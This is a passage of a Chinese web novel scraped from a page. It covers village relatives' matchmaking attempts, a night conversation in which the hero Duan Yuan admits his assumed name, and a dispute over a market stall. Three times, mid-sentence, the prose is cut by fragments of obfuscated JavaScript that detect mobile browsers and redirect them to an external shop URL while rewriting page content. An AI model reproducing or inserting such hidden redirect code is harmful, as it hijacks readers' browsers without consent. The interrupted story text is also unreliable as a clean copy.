万秋灵一头雾水，好端端地话题怎么拐到她身上了。她挂着客气的微笑，问道：“二位是……王婶子的亲戚？” 墩子娘这才一拍大腿，道：“忘了介绍了！” 她指着瘦长脸妇人和年轻姑娘道：“这是墩子的三婶，他们三房一家就在咱村西头。这是三房的闺女，叫秀洁，是墩子的堂姐。”又指向圆脸妇人，“这是墩子的二姑，嫁到洞子村去了，平常难得回来一趟。” 原来是墩子爹的二妹和三弟媳，王家早就分家各过，另外两房平时压根不和墩子家走动，更别说和他们万家，八竿子都打不着的关系。 万秋灵笑容不改，只点点头。 这三人自打进门，眼睛就时不时往西南那间屋子瞟，显然是知道里面有人，且是她们要找的人，不然咋不往万老爹的屋瞟？那个叫秀洁的姑娘更是一脸娇羞，傻子都看得出来她们此行的目的。 万秋灵在心里“啧”了一声，本想先炒个蛋炒饭垫垫肚子，这一时半会怕是弄不成午饭了，她也懒得招待这些人，先就这么饿着吧。 只有万小兰浑然不觉气氛微妙，沉溺于模仿待客之道，正挨个叫人：“三婶子，秀洁姐，王二姑，尝尝这个蜜饯！” 三位客人笑着应和，各取了一颗蜜饯放入口中，夸了几句“真甜”、“小兰真懂事”，万小兰便觉得满足起来。 杜氏见大女儿反应平淡，知道她心思通透，应该是猜到了。 她心里暗暗叹气，没想到被墩子娘喊去唠嗑，竟是这种麻烦事等着。 午饭没来及做，孩子们提前回来，都还饿着，家里却坐了三个来打听“表侄”的生人，杜氏悔得肠子都青了。 30. 上门说媒 家里来客人时，墩子正蹲在院子里削竹签。这是秋灵姐交代的活计，让他放心大胆地多做，回头按扎数结钱。 虚掩的院门被推开，他抬头一看，手里的柴刀差点滑了。 “二姑？三婶？秀洁姐？”他忙不迭起身，把东西往旁边一放，“你们怎么来了？” 墩子扯过几个干净凳子请她们坐，想起嫂子还在屋里歇着，赶紧喊了一声，又一溜烟往外跑。 “我去喊娘回来！” 墩子娘在坡上得到消息，如临大敌，把锄头往地里一靠，快步往家赶。 进院子时，正瞧见大牛媳妇挺着肚子，端了水往堂屋送。墩子娘赶忙上去把碗接过来。 翠花躲在门缝后偷偷瞄秀洁，好新的衣服，颜色又亮又显眼，她乍一瞧都没认出是堂姐。 三婶子接过水喝了一口，笑着寒暄：“大嫂，地里忙着呢？” “就忙这一阵。他三婶二姑，今儿怎么有空过来？”墩子娘在她对面坐下，问道。 “瞧大嫂说的。”三婶子嗔了她一眼，语气亲热，“一家人，哪能真不往来呢？” 王二姑也附和道：“就是呢，前些日子我还跟家里男人念叨，说咱大哥大嫂最是厚道，早该来走动走动。” 墩子娘听着这话，心里堵得慌。分家那年，她这个妯娌骂得多难听啊，还放了狠话不往来的！ 至于墩子二姑，跟老爷子一样，和三房一个鼻孔出气。 人家如今主动上门，孩子也在这儿，她不好翻那些旧账，就没驳回去，只含糊地应了声，等着她们说正事。 结果寒暄没几句，三婶子话锋一转：“大嫂，听说你们隔壁万家，近来来了个生面孔？” 墩子娘没想到她突然问这个，就挑着说了句：“是万家杜妹子的远房表侄，来走亲戚的。” “哦，远房表侄。”三婶子听了，又连着追问了好几句，“多大了？哪里人？家里做什么营生的？” 墩子娘算是回过味儿了，直接问：“三弟妹，你直说吧，是不是想给谁说媒？” 三婶子一把拉过秀洁，往墩子娘面前推了推，脸上堆满了笑：“大嫂是爽快人，我也就不瞒了。我家秀洁今年十六了，还没定人家。这不是听说万家来了个表亲，瞧着年岁也相当，就想着托大嫂去递个话……” 墩子娘脸色有些尴尬：“三弟妹，这事我不好插手。” “怎么不好插手？”三婶子表情一僵，随即变得凌厉起来，“村里就属你们两家关系好，他家的田地不都是你们在种，你去说，万家敢不给面子？” “三弟妹，你这是什么话？”墩子娘皱着眉头，被气得够呛，这是求人的态度吗？ 三婶子见她不为所动，又换了路数，开始假模假样地哭诉：“大嫂，你这是不肯帮忙了？秀洁这丫头脸皮薄，是我硬拉着她来的，她一路上都说不该来，说大伯家早就不待见咱们了，来了也是自讨没趣……” 秀洁配合地低下头，肩膀轻轻抽动，声音带着哭腔：“娘，别说了……咱们回去吧……” 王二姑立刻搂住秀洁，抬眼看向大嫂，目光里满是谴责：“大嫂，孩子都过来了，你连句话都不肯递？秀洁哪里配不上人家？你们不待见我们大人，也别糟践孩子呀！” 墩子娘被这一套连环招砸得脑仁疼，眉头越皱越紧。她什么时候说秀洁配不上了？什么时候不待见了？ “三婶，二姑。”大牛媳妇在一旁插话，“这真不是面子的事。那毕竟是万家的亲戚，人家什么情况，咱一概不知，哪好贸然就去说。” 三婶子瞥她一眼，没接这茬，大牛媳妇一个晚辈，她不放在眼里。 “大嫂，”她转眼又堆起了笑，变脸比翻书还快，“咱们才是一家人。秀洁若真能嫁个好人家，不也是给咱们王家争光？你只消帮着递句话，成不成再说，总行吧？” 墩子娘想了想，总不能一味推脱，要是叫老爷子知道了，搞不好又闹起来……犹豫片刻，到底应下了。 …… 一碗粗茶，续了两回水，早已淡得没有了味道。 三婶子把碗往桌上一搁，脸上带着关切，似是不经意地问：“对了万家嫂子，咱们聊了这半天，怎么没见着你那表侄？” 来了来了！ 听三婶子说了一箩筐没营养的话，万秋灵原本思绪已然放空，这会儿立马打起精神来。 杜氏神色如常：“他走了半日路，应当是乏了，回屋歇着的，年轻小伙也不爱听咱们叨叨。” “哦，歇着呢……”三婶子点点头，继续用漫不经心的语气闲扯，“说起来，我老家那边也有个侄儿，去年刚结的亲，新媳妇进门才三个月，如今肚子里就怀上了，过得别提多踏实。年轻人嘛，成了家心就定了，收心过日子，比什么都强。” 她絮絮叨叨地说着，话里话外都往成亲和说人家这方面绕，意图再明显不过。 杜氏面上沉着，手心却微微冒汗。 方才在隔壁被这几人盘问一通，已是勉强应付，她哪知道齐公子定亲了没有？又如何能替客人做主？ 还没想好该怎么打个马虎眼，这三婶子听到灵儿她们从镇上回来的声音，直接说想去她家讨碗茶水喝，急匆匆就过来了，杜氏根本来不及跟家里人通个气。 不知道要如何回答，她下意识看向大女儿。 万秋灵接收到杜氏求助的目光，心中了然。她侧头对妹妹道：“小兰，你去看看表哥歇好了没有，就说家里来了客人，问他要不要出来坐坐。” “哎。”万小兰应声去了。 堂屋里瞬间安静了不少，几双眼睛都追着那道活泼的背影。 万小兰走到西南的那间屋，轻轻叩门：“满仓哥？” 里头传来一道好听的男声，谦润温和：“请进。” 万小兰推开门。自从满仓哥住进来，她还是头一回进阿姐原本的房间。 屋里收拾得干净整齐，和阿姐搬出去时没太大变化，只是靠窗的位置多了张古朴的凳子，段渊正坐在那里，手里握着一卷书。 “满仓哥，”万小兰放低了声音说，“外面来了几个王家的亲戚，在打听你呢。” 段渊自然都听到了。方才一群人进院子时他便看见，来的都是妇人和姑娘，他正是因此才避回屋里的。 他将书合上，回道：“我知晓了，稍等片刻便出去。” 万小兰点点头，跑回堂屋传话：“表哥在看书呢，说一会儿就出来。” 看书？ 三婶子和秀洁的眼睛同时亮了一亮。 读书人！这年头村里能认识几个字的那两个，走哪儿都受人高看一眼。万家这表亲生得那样好，竟然识字，还能读书，那得多难得？ 秀洁的心跳得飞快，她知道这回终于没看走眼，又是激动又是羞涩，干脆埋着头。只是眼神四处乱瞟，嘴角也怎么压都压不下去。 旁边的王二姑反倒有些讪讪的，万家有这样的亲戚当路子，倒是让她不好做打算。 三婶子人还没见着，拉着杜氏的手就是一顿夸：“万家嫂子，你这侄儿可真了不得！生得齐整不说，还是个会读书的！日后谁家姑娘能嫁给他，那可真是掉进福窝里了！” 杜氏干笑两声，不知该怎么接话。 看着娘亲尴尬不已的样子，万秋灵又心疼又直想笑，生怕一个憋不住便笑出声来。 反正暂时也没她啥事，干脆趁人不备，偷偷溜到灶屋开小灶去。 灶屋里安静的很。 万秋灵先找出妹妹藏着的那包蜜饯，一连吃了两颗，有点太甜，灌了半碗水，总比饿着肚子强。又取出装水果的包袱，摸了个枇杷，专心致志地剥着外皮和里面的核。 刚剥好一个，还没来得及往嘴里送，突然有人从身后凑过来，就着她的手，飞快将枇杷咬走一半。 万秋灵被吓了一跳，回过头，段渊正直起身，慢条斯理地咀嚼着果肉。 “你什么时候来的？”她说话不敢太大声，“外面不是正聊你吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417796|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >段渊咽下去，目光落在她手里剩下的枇杷上，向前俯身，作势又要咬。 万秋灵没好气地把剩下半个直接塞进他嘴里：“想吃不会自己剥！” 顺势把掌心的果汁往他脸上弹了两下。 段渊被弹了个措手不及，好看的眸子微微眯起，几滴橙黄的果汁挂在他的睫毛和高挺的鼻梁上，显得有几分滑稽。 他愣了一瞬，随即低低地笑了起来，胸膛都在明显颤抖。 笑什么笑？万秋灵懒得理他，转过身去，又拿了一个橘子，背对着他剥，非常之护食。 结果身后安安静静的。 她吃完橘子，一转身，一枚圆润饱满的枇杷递到她面前。 枇杷剥得很干净，果肉完整，核也摘了。她的目光却不由自主落在他手上，手指白皙修长，骨节分明，比果子还要惹眼。 万秋灵愣神的时候，枇杷轻轻碰到她的唇。 她下意识张开嘴，咬住了。 堂屋里的交谈声还在继续，他俩却躲在灶屋岁月静好地吃果子，谁也没说话。 但万秋灵渐渐发现了规律，这人老想着抢她手里的吃，这样再借机把他剥的喂给自己。 什么毛病！ 她才不惯着段渊，提醒他把橘子皮留下有用，擦了擦手，起身就往外走。 堂屋里的气氛，对比她离开时已经完全变了。 秀洁安静地坐着，依旧半低着头，表情看不出伤心也看不出高兴。 三婶子倒是话密，只是话里话外都在往回找补，仿佛今天上门来做客只是邻里间随意串串门，和万家的表侄没有半点关系。 王二姑本也搭着腔，见万秋灵出来，眼睛转了转，忽然笑着开口：“秋灵丫头今年多大了？” 万秋灵心道不妙，恨不得现在就掉头回灶屋。 不等她回，王二姑已经笑容满面地继续往下讲了。 “我瞧着你是个顶好的丫头，能摆摊赚钱，模样又生得好，哎哟哟，这往后谁娶了你，那可真是烧了高香啊！” 王二姑又自顾自道：“不瞒你们说，我家那口子有个小弟，长得利利索索的，人也能干，在镇上常走动。这不，前些日子在镇上瞧见秋灵，回来就时常念叨着，说那姑娘可真是好，托人打听了许久才知道是万家的闺女。” 实际上她没说全，难得小叔子看上个村里人，男人早就让她跟王家大房走动，问问万家。 她扯不下面子，先找了三弟妹商量，却得知秀洁看上了万家新来的亲戚，可不是跟她小叔子一样么？两人顿时一拍即合，这才结伴一起来。 她滔滔不绝地夸起家里的小叔子来，什么踏实本分、在镇上有人脉，三婶子也附和了几句。 杜氏被她们说得发懵。不是来说表侄的亲事吗？怎么突然扯到灵儿身上了？ 墩子娘的脸色却已经变了。 她当然知道王二姑那个小叔子是什么货色，快三十的人了，成天心比天高，一心想娶个镇上姑娘替他谋差事，闲着没事干就老往镇上跑。王二姑那个婆婆更是眼高于顶，把小儿子纵成了这副德行。 墩子娘现在真是叫苦不迭，这哪是说媒，是把人往火坑推！ 她生怕因此得罪了万秋灵，赶紧开口打断：“他二姑，别说了。” 王二姑脸上有些挂不住：“大嫂，我这说着正事呢……” 杜氏虽不知内情，但看墩子娘的脸色不对，也猜到王二姑那小叔子恐怕不是什么正经人。 她随即沉下脸，语气冷硬道：“不必再说了！灵儿还小，亲事不急。” 王二姑悻悻地住了口，心里却有些不甘，她还没说完呢，大嫂这是捣什么乱！ 万秋灵虽觉得莫名其妙，但也没太大的反应。反正她跟王家这两房不会再有什么交集，管他什么小叔子小舅子的，要是正常来买饼，自然一视同仁，要是说亲，那就再见。 却听灶屋门口传来一道冷冽的声音。 “身为秋灵的表哥，恕在下多问几句。” 31. 糖醋排骨 “王家二姑方才说，那小叔子能干、踏实，在下想请教几句，他今年贵庚？可有正当营生？左邻右舍对他的品性如何评价？” 段渊一连抛出了数个问题，语气平静，内容却很尖锐，身上那股凛冽的气势又冒了出来。 旁人打听他的情况，他三言两语便处理妥当，既婉拒到位，还顾及了陌生姑娘的颜面。这会子，他这个假表哥护起妹妹来，说的话反倒不怎么好听。 万秋灵看得啧啧称奇，这人说话做事总是尽善尽美，仿佛天生如此，原来怼人也是有些功力在的，口才嘛……勉强能与她媲美。 王二姑被他问得瑟缩了一下，不好回答，却又不敢不回答。 “这……”她支支吾吾的，“小叔子他……二十有七了，跟着一个老师傅学手艺，还，还没出师……” 王二姑想把话往好听了说，但万家只要找人稍一打听她就会露馅，总不能弄虚作假，于是尽量含糊其辞。但仅仅是泄露出来的几句，已经能让人明白这事有多荒诞。 “砰”地一声，东屋的门忽地被推开了。 万老爹拄着拐杖，一瘸一拐走出来，他脸色铁青，吼道：“就这条件，也敢把主意打到我家闺女头上？当我们万家没人了？滚！全部都给我滚！” 他这一嗓子吼得极大声，想来万小兰得的是老爹真传。 三婶子和秀洁吓得站起来，王二姑更是脸都白了。 再看万小兰，也是一副要上来跟她们拼命的架势。几人哪还敢多留？灰溜溜就往院门外退。 倒是墩子娘想赔几句不是，可这三个人偏偏都是她婆家的亲戚，说什么都撇不清干系。 她懊恼地叹了口气，也跟着走了。 等人离开，万小兰气得跳脚，恨不得让她们把吃的蜜饯吐出来，这些人全都不安好心，白费了孙家姐姐给的蜜饯！ 杜氏扶着明显动气的万老爹坐下，又是顺气又是递水，心里后悔得很。王家这一个两个的，把他们万家当什么了？ 万秋灵面上是最平静的那个，但心里却很是触动，一家人都在为她着想，发自真心。 她来到这个陌生的地方，本只是想生存下去，活得稍微好一点，却意外遇到了团结又温暖的家人。 这感觉像是……小的时候，住在奶奶家，度过的无忧无虑的几年。那样久远又温馨的日子，自从奶奶去世，她就再也没有体会过了。 而如今，万秋灵幸运地再次拥有了完整的家。杜氏性子软，却态度强硬地护着她，万老爹瘸着腿也要出来赶人，小妹一向以她为先，什么待客之道通通忘光。 还有这暂时的名义上的表哥…… 可这感动没能持续太久。 万小兰肚子忽然“咕咕”叫了两声，她懊恼地捂住腹部，正在生气呢，怎么响得这么不是时候！ 万秋灵看着妹妹的窘态，哭笑不得，她自己也没好到哪去，不过是偷偷去灶屋吃了点东西。 误了午饭的时辰，她原本想做的枇杷甜汤也搁置了。 “先吃点果子垫垫吧。”万秋灵把蜜饯和剩下的果子都拿出来，放到桌子中央，“晌午饭和晚饭一块儿弄算了。” 杜氏同意：“也行，省得折腾两回。” 万秋灵仔细地剥着橘瓣上的白色细丝，心想得买些糕点在家备着，饿了啃两口，胡饼、枣糕、桃酥，只要是耐放的都行。 自从家里吃得像样些，真是一顿都饿不得了，难以想象清粥咸菜的日子才过去没多久。 “对了，娘，”她咽下橘子，“今天我去铁匠铺定了油炸的锅，过几天就能取。” 杜氏欣喜道：“那正好，一会儿娘就先把春卷学着做起来！” 熬药的事情就交给了万小兰。 万秋灵吃了两个果子便起身，余光瞥见段渊也跟着站起来。她想到方才他在屋里看书，便随口道：“表哥，你接着去看书吧，这儿没什么事了。” 段渊已然习惯被她使唤着打下手，闻言脚步顿了顿。 他看了她一眼，那眼神里似乎有点……落寞？万秋灵还没来得及分辨，就见他先一步往灶屋走去。 “无妨。” 万秋灵：“……”行，随便吧。 杜氏手巧得多，看女儿烙了几张就掌握了要领，摊出来的春卷皮有模有样。 母女俩把春卷一个个包好，开始处理排骨。排骨是在镇上采购时买的，完整的一排，还很新鲜，摊主没像屠户那样帮着剁。 菜刀砍不动骨头，而且会损坏刀锋，杜氏翻找半天才寻出一把旧剁刀，洗刷干净。万秋灵便招呼段渊：“表哥，帮忙把排骨剁一下，剁成小块。” 段渊随即从灶膛后过来，握着刀柄掂了掂。 剁刀许久没磨，钝得很。 万秋灵正想说剁不动就等她找个磨刀石，却见段渊手腕轻轻一抬一落，闷声一响，力道看着也不重，刀锋就利落干脆地斩开骨头。 断面齐整，每一块都差不多大，排骨很快就切好。 万秋灵十分满意，此人相当有做屠夫的潜力。 排骨洗净后焯过水，杜氏原以为女儿要做排骨汤，配料也备的姜片葱结，结果万秋灵翻了些冰糖出来。 “这是要做什么？” “做糖醋口的，特意买了冰糖。”万秋灵一边解释，一边让段渊控制火候，向杜氏示范如何炒糖色。 等糖醋排骨做好后装进盘里，排骨堆成了一座小山，用锅铲把余下的汤汁浇上去，每一块都油亮酱红，裹满了料汁，让人挪不开目光。 万小兰早就端好了碗筷等着。第一块排骨进嘴，她眯起眼，长长地“唔”了一声，说不出话来。 酱汁太下饭了！碗很快见底，她又去添了满满一碗回来。 “阿姐，”她边扒饭边问，“今天饭是不是煮太多了？有满仓哥在也吃不完呀。” 两顿并一顿，大家都吃得比平时多。段渊吃饭的动作一如既往的斯文，不见半点急切，但仔细观察就会发现，他已经在吃第三碗了。 不过肯定也是吃不完的，还剩了半锅，又没有其他客人。想到客人，万小兰又悄悄在心里把王家那几个亲戚骂了一通。 杜氏笑着解释：“你阿姐说，炒饭要用隔夜的才好吃，粒粒分散，炒起来不粘锅。她特意多蒸了些，留着明天炒饭吃。” 得知了明天的菜谱，万小兰恍然大悟，万老爹则甚是欣慰地点点头。 …… 农村人家舍不得多用油灯。天黑之后，没什么要紧事便早早歇了。 难得万小兰没说梦话，只发出了均匀的小呼噜声。 万秋灵却翻来覆去睡不着。吃得太撑了，这会儿胃里坠坠的，躺着难受。 迷迷糊糊间，她似乎听见了什么声音。很轻，像有人在说话，但仔细一听，又好像是错觉。 万秋灵猛地睁开眼，睡意全消。不管是不是错觉，还是查验一下为妙。如今家里可不是一穷二白的时候，万一是被贼惦记上了呢？ 她轻手轻脚地起身，披上外衣。 屋里漆黑一片，但出了屋子，月光亮得惊人。 院子里，两道影子清晰地投在地面上，黑色的身影拖得很长，乍一看像闹鬼。 鬼是肯定不存在的，万秋灵蹙起了眉，坏了，不会真的是贼吧，还一来就是两个？ 她屏住呼吸，贴着墙根蹑手蹑脚地走，打算先找家里唯一的青壮年帮忙，两个人总比一个人强。 万秋灵摸到西南的屋，门竟然是开着的。 里面空无一人。 …… “密信已被截获，里面提到了几条线索。属下顺着去查了其中一条线，和主上预料的不差。”齐辉垂首立着，卡顿了一下，才接着说，“……按您的吩咐放出了风声，有几个人已经蠢蠢欲动。” 段渊负手而立，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421723|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说话。 他自然听见了屋里那点细微的动静。脚步声刻意压着，但他却能从那步伐的节奏里，听出一丝紧张。 他没有打断齐辉的汇报，也没有示意停下。 齐辉只好压低声音继续说下去：“另一路那边还没有消息传回，属下估摸着最迟后日……” 把该说的都简要说完，齐辉躬身行礼，身形很快没入夜色深处。 等他走了，段渊转过身，轻轻地喊了一声： “灵儿。” 冷白的月光下，万秋灵从墙角走出来。她手里握着顺手抄来的扫帚，头发有些乱，显然是匆忙起身的。 她四处张望，院里空空荡荡，没有找到另一个人。 “他出去了。”段渊替她解惑。 万秋灵瞄了他一眼，没有接话，抬步就往外走。 擦身而过时，段渊又开口：“灵……” 她猛地刹住脚，拿起扫帚警告道：“不许这么叫我。”语气严肃，扫帚杆子杵在他胸口。 段渊没躲，只是又站在那笑，笑容在光晕下格外好看。 万秋灵心烦意乱，收回扫帚，大步走到院门边，打开门。 左看看右看看，都没找到人。她正想说“你耍我”，就听跟来的段渊发出一声轻咳。 余光里，一道身影晃了晃，就这么凭空出现了！ 万秋灵险些叫出声，定睛一看，才发现那人穿着一身黑，又贴着墙根站在暗处，难怪她没看见。 “说吧，他是谁？” 她严肃地盯着一身黑衣的陌生男子，话却是对着身后的人问的。 段渊走过来，在她身侧站定，“他叫齐辉，是我的……朋友。” 听到“朋友”两个字，齐辉原本面无表情的脸抽搐了一瞬，刚好被万秋灵捕捉到了。 于是她不爽地看向段渊：“编，继续编。下次是不是还有什么齐光、齐耀、齐亮？都姓齐，怎么不说他是你表哥呢？” 表哥？齐辉站在阴影里，面部肌肉又抽搐了一下。可……可他比主上小两岁啊，有那么显年纪吗…… 不知是哪个字又戳中了段渊，他笑得肩膀都在抽动。 万秋灵冷冷地睨了某人一眼，又重新打量起这个陌生人。她观察到齐辉腰间别着一把刀，刀鞘乌黑，没有任何额外的装饰。 刹那间，脑子里有什么东西串联了起来。段渊手上有明显的硬茧，她之前疑惑过，若真是养尊处优的富家子弟，怎么会有那样的茧子？ 如今看来，那应当不是干活磨出的茧，而是经常握持武器所致。也就是说他会功夫，那他怎么还会受伤掉到水里？ 万秋灵满腹疑问，她看看齐辉，又看看段渊，忽然反应过来：“你去镇上联系的他？他是来接你回麒岭县的人？”大半夜接头，时间还挺赶的。 几句话间，已经替他把归途安排得明明白白，仿佛又回到了每天想打发他走的日子。 段渊赶紧道：“并非如此，他是来协助我办差的。” 齐辉颇为懂事地点了点头。 “哦。”万秋灵对他们办什么差事毫无兴趣，她只关心一件事，“不会给我家惹麻烦吧？” “灵儿放心，不会。” 得了这句保证，万秋灵打了个哈欠，转身就要回屋补觉去。 段渊愣了一下，这就走了？他迈步拦住她，问道：“灵儿……就没什么话想问我吗？” 万秋灵手握得紧紧的，真想给他头上呼一扫帚。 此人绝对是故意为之，半夜三更与人谈话，也不挑个隐秘的地方，大咧咧的就在院子里，要是凑巧被她发现了，便等着她来问。 偏偏她的确有很多疑惑，段渊正是吃准了这一点，她本来不想上这人当的，但既然他都主动提了—— 万秋灵深吸一口气，懒得再纠正他的称呼，而是冷静道： “我问，你就会说真话吗？” 32. 月下对白 “我问了，你会说真话吗？” 月辉静静地洒落在两人之间，夜风徐徐吹过，卷起万秋灵散落的发丝。 段渊看着她，墨黑的眼眸里闪烁着柔和的光，神情专注，似是认真得不能再真了。 可万秋灵知道那不过是假象。 “先不说别的，”她牢牢盯着他的眼睛，“‘齐锦’这个名字，就是你编出来的吧？” 段渊勾了勾嘴角，没有否认，语气里带着真心实意的夸赞：“灵儿果然聪明，这都猜到了。” 万秋灵把扫帚靠在臂弯里，双手环抱在胸前，微扬起下巴。 “少哄我了，那……就从名字开始说吧。”她倒要看看，这人能说出点什么。 段渊向前迈了半步，两人之间的距离骤然拉近。他的神情恳切，语气也十分诚恳。 “齐锦的确是化名。真正和序锦庄有关联的人，是方才你见到的齐辉。”他顿了顿，声音放轻了些，“我姓段，名叫段渊。这次出行，不便以真名示人，我便借用了齐辉的身份，谎称是绸缎商人，随意凑了个‘锦’字。” 段渊……万秋灵在心里默念了一遍这个名字，心道，果然是这样么？整得跟微服私访似的。 段这个姓不算常见，需要隐姓埋名出行的人，身份定然有些特殊，知道了或许反而徒增隔阂，她索性没往下追问。 “齐辉腰间那把刀，是真家伙吧。那你呢？你手上的茧子，也是因为使用武器磨出来的？” 段渊微微一怔，没想到她观察得这样仔细。 那两次指尖相碰，她半分反应都没有，面色如常，仿佛只是最寻常不过的接触。反观他，每一次都记得清清楚楚，连她指尖的温度和手背的触感都…… 他不由得失笑，原来她当时想的，是这些。 “的确是练武留下的。” 万秋灵点了点头，想起齐辉一瞬间变化的脸色，又问：“那齐辉到底是你什么人？” “算是我的护卫。” “有护卫，而且都会武功，”她观察着他的神色，“那你当初怎么还会受伤掉进水里？” 段渊沉默了一瞬，才道：“因为一件差事，我乔装到了麒岭县。在船上遇袭时，仅带了两名随从，增援不便，只能跳入河中自保。” 他说得简略，寥寥几句概括了所遇的惊险。这次奉命外出查一桩旧案，线索清晰，他只当是寻常公务，费不了多大功夫，可越往下查，牵扯到的范围越广。 本以为，涉案之人至多是藏匿、逃窜，却没料到，有的人野路子走惯了，根本不与他多周旋，也不留退路，一照面就是埋伏和杀招。这些都不能告诉她，只能笼统的归结于某件差事。 段渊不好细说，但万秋灵敏锐地察觉到，所谓的“差事”定然不简单，而且冲他下手的人，手段见不得光，是奔着要他的命去的。 这很危险，万秋灵眉头皱了起来，心里有些烦闷。 他承诺过不会给万家带来麻烦，她也信了，便不想深究这般情绪从何而来…… “知道了。”她垂下眼，声音闷闷的。 段渊望着眼前人，冷冷清辉下，她发丝散乱地披在肩上，被微风吹得飘动，发梢泛着淡淡鎏光。 正板着一张小脸，神情恹恹，像一只被惹炸了毛、生着闷气的小兽。 心顿时软得一塌糊涂，他放柔了声音：“不是有意瞒着你，只是还没到告诉你的时机。”又向她解释，“今夜也不是有意扰你安歇，只是我有些事，需要离开几日……” 万秋灵听懂了，和那件没办完的差事有关，护卫因此专程来寻他的，问道：“晚上便要走？” “嗯，事发突然，想当面与你告别后再走，才出此下策。”语气里带着点小心翼翼的哄。 两人离得有些太近了。他就这样望着她，眼里的情绪浓得快要溢出来，半点不见白日里怼王二姑时身上那股不怒自威的气势。 事实上，从第一次见面后，他就再也没有在她面前展现过任何压迫感，不然万秋灵也不会使唤得那么顺手，让他的待遇从贵客直接降到帮工。 万秋灵不自在地移开视线，耳根有些发烫。 “说完了？”她梗着脖子问，“没别的了？” 段渊有些诧异，看着她微微泛红的耳尖，又霎时了然。 以她的玲珑心，自是知晓他待她有多特殊，而其中蕴含的意味……只是今夜太过仓促，并非好时机。 他弯了弯唇角，声音温柔得不像话：“还有些话，回来再告诉灵儿，好不好？” 万秋灵抬眸看了他一眼，又迅速看向别处。 “随便你。”其实也没有很想听。 她嘟囔了一句，把臂弯的扫帚拽出往他脚边一杵，最后又警告了一次：“不许那么叫我，听到没！”随后转身，大步往屋里走。 走了几步，又停下来，头也不回地说了声：“慢走，不送。” 房门在她身后轻轻合上，隔绝了那道始终追随着她的目光。 …… 到了梅花桥街摊位张榜公示的日子，万秋灵早早起床，带着妹妹出了门。 路上雾气很重，没走多久衣裳都变得润润的，沾了些湿气。 她们到的时候，张榜的那堵墙边只零星站了两三个人。万秋灵选了个靠前的位置站定，万小兰依在她身侧，困意被清晨的凉风吹散了。 天色渐亮，很快围了十来个人。有几个相熟的摊贩，大约是梅花桥街上的老面孔，彼此打了招呼，议论着今日能有什么好位置。 时辰将近，两个年轻人从管事屋里出来，一人手里拿了张手臂那么长的纸，一人端了浆糊，他们熟练地在墙上刷好浆糊，将那纸张展开，对齐边角，稳稳贴好。 人群立刻围了上去。 万秋灵仰起头，目光迅速扫过榜上的信息。摊位分为早午市和全天市，不同位置、不同大小，月租从几十文到几百文不等，写得很详细。 她很快锁定了一个位置，北十一号，摊位不大，但位置还不错，北岸比南边客流大。 “走。”她拉着妹妹离开人群，往胡管事的小屋走。 屋里已经自发排起了队，她们来得算快的，排在第三个。 胡管事坐在木桌后，一会儿用手拨着算盘珠子，噼里啪啦的，一会儿提起毛笔记录，挨个办理手续。 来人报出看中的摊位号，交付定金，签字画押，一气呵成，前两个都办得很顺畅。 轮到万秋灵时，她上前一步，取出准备好的钱袋，“胡管事，我要北十一号，全天市。” 胡管事抬起眼皮，正要答复，一个穿着细棉衫的中年男人快步走进了屋。他身上的衣衫质地细密，在屋里这群穿着粗布衣裳的人中显得格外体面。 他没有排队，而是径直走到了胡管事桌前，抬手敲了敲桌面。 “老胡，北十一号，给我留着。” 万秋灵从袋子里拿钱的动作顿住了。不知是不是她的错觉，刚刚这人说话时似乎多看了她一眼，那一眼带着一丝审视和隐隐的恶意。 来者不善，但她根本不认识这个人，也看不出他是什么来路。 倒是胡管事飞快变了脸，原本公事公办的样子消失不见，堆起一脸殷勤的笑来：“钱管事！什么风把您给吹来了？” 他站起身，绕过桌子，亲自搬了张椅子请中年男人坐下，“这个时辰，码头那边不是正忙着吗？” 听起来像是码头的管事……万秋灵疑惑不解，他来抢这街上的摊位做什么？码头和梅花桥街离得不近，难道是帮别人占？ 胡管事已经回到桌后，拿起毛笔毫不犹豫地在“北十一号”上划了一道，以示这摊位没了。 “姑娘，”他抬头看她，语气比方才敷衍了许多，“北十一号有人定了。” 万小兰急了，正想开口说这是她们先定的，万秋灵几不可察地朝她摇了摇头。 什么先到先得，定下交了钱就是谁的，果然都是废话！这姓钱的人不光后到，也没有交定金，胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425361|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管事却直接将摊位留给他。 万秋灵压下心底的情绪，并没有争辩或者质问，而是报出了另一个摊位：“北八号，全天市。”这是她的备选项，摊位大点，租金要贵些。 几乎在她话音落下的同时—— “北八号？我也要了。” 那道悠哉悠哉的声音从一旁传来。钱管事坐在椅子上，翘着腿，脸上挂着讥讽的笑。 这下连胡管事都愣住了，手里的笔悬在半空，勉强挤出笑脸：“钱管事，这……” 